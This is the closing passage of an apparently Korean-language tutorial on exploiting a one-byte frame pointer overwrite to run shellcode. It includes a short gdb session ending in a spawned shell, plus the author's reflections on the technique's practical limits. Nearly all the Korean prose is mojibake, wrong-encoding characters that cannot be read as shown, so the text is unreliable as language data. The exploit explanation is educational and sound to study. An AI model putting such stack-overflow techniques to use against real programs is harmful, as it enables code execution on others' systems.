main()ÇÔ¼ö·ÎºÎÅÍ µ¹¾Æ¿Ã¶§, ±×°ÍÀº ÀÌ Æ÷ÀÎÅ͸¦ ²¨³»¾î %eip·Î ÀúÀåÇÒ °ÍÀÌ°í, Á¤È®ÇÏ°Ô 0xbffffc74·Î À̵¿ÇÒ °ÍÀÌ´Ù. ÀÌ°ÍÀº ¿ì¸®ÀÇ ½©Äڵ尡 ½ÇÇàµÉ ¶§ÀÌ´Ù. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ ___[ °á·Ð ]___ ÀÌ Å×Å©´ÐÀÌ ¸ÚÁø °Í ó·³ º¸Àδ٠Çصµ, ¸î ¸î ¹®Á¦µéÀÌ Ç®¸®Áö ¾ÊÀº ä ³²¾ÆÀÖ´Ù. ´ÜÁö 1¹ÙÀÌÆ®¸¸À» µ¤¾î ¾²¸é¼­ ÇÁ·Î±×·¥ÀÇ ½ÇÇàÈ帧À» º¯°æÇÑ´Ù´Â °ÍÀº ºÐ¸íÈ÷ °¡´ÉÇÏ´Ù. ÇÏÁö¸¸ ¾î¶² »óȲ¿¡¼­µµ? »ç½ÇÀº Àû´ëÀûÀΠȯ°æ¿¡¼­ ÀÌ¿ëÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ´Â °ÍÀº ¾î·Á¿î ÀÛ¾÷ÀÌ µÉ ¼öµµ ÀÖ´Ù. ¿ø°Ý È£½ºÆ®¿¡¼­¶ó¸é ÃÖ¾ÇÀÌ´Ù. ¿ì¸®´Â Ÿ°Ù ÇÁ·Î¼¼½ºÀÇ Á¤È®ÇÑ ½ºÅÃÀÇ Å©±â¸¦ ÃßÃøÇØ¾ß ÇÑ´Ù. ¿ì¸®´Â ¿À¹öÇ÷οìµÈ ¹öÆÛ°¡ ÀúÀåµÈ ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ ¹Ù·Î ¿·¿¡ À§Ä¡ÇØ¾ß ÇÏ´Â Çʿ伺µµ ¶ÇÇÑ ÀÌ ¹®Á¦ÀÌ´Ù. ÀÌ°ÍÀº ÇÔ¼ö¿¡¼­ ±×°ÍÀÌ Ã¹¹ø°·Î ¼±¾ðµÈ º¯¼öÀ̾î¾ß ÇÑ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ¸»ÇÒ ÇÊ¿äµµ ¾øÀÌ, ²Ë ä¿ì´Â °Í ¶ÇÇÑ °í·ÁÇØ¾ß ÇÑ´Ù. ±×¸®°í ºò Àεð¾ð ¹æ½ÄÀÇ ¾ÆÅ°ÅØóµéÀ» °ø°ÝÇÏ´Â °ÍÀº ¾î¶³±î? ¸¸¾à ¿ì¸®°¡ ÀÌ ¹Ù²ï ÁÖ¼Ò¿¡ µµ´ÞÇÒ ´É·ÂÀÌ ¾ø´Ù¸é, ¿ì¸®´Â ÇÁ·¹ÀÓ Æ÷ÀÎÅÍÀÇ °¡Àå Áß¿äÇÑ ¹ÙÀÌÆ®¸¦ µ¤¾î¾²´Â °ÍÀÌ ºÒ°¡´ÉÇÏ´Ù... °á·ÐÀº »óȲÀ» ÀÌ¿ëÇϱ⿡ °ÅÀÇ ºÒ°¡´ÉÇÑ °ÍÀ¸·ÎºÎÅÍ À̲ø¾î Áú ¼ö ÀÖ¾ú´Ù. ºñ·Ï ³»°¡ ´©±º°¡°¡ ÀÌ Å×Å©´ÐÀ» ½ÇÁ¦ÀÇ Ãë¾àÁ¡¿¡ Àû¿ëÀ» Çß´Ù´Â ¸»À» µè°í ³î¶õ´Ù ÇÏ´õ¶óµµ, ±×°ÍÀº Å©°í ÀÛÀº ¿À¹öÇ÷ο찰Àº °ÍµéÀº ¾øÀ¸¸ç Å©°í ÀÛÀº Ãë¾àÁ¡ ¶ÇÇÑ ¾ø´Ù´Â °ÍÀ» ¿ì¸®¿¡°Ô Áõ¸íÇØ ÁÖ´Â ¼ÀÀÌ µÉ °ÍÀÌ´Ù. ¾î¶°ÇÑ Ãë¾àÁ¡µµ ÀÌ¿ëµÉ ¼ö ÀÖ´Ù. ¿©·¯ºÐÀÌ ÇÊ¿äÇÑ °ÍÀº ¹æ¹ýÀ» ã¾Æ ³»´Â °ÍÀÌ´Ù. Thanks to: binf, rfp, halflife, route ___[ EOF ]___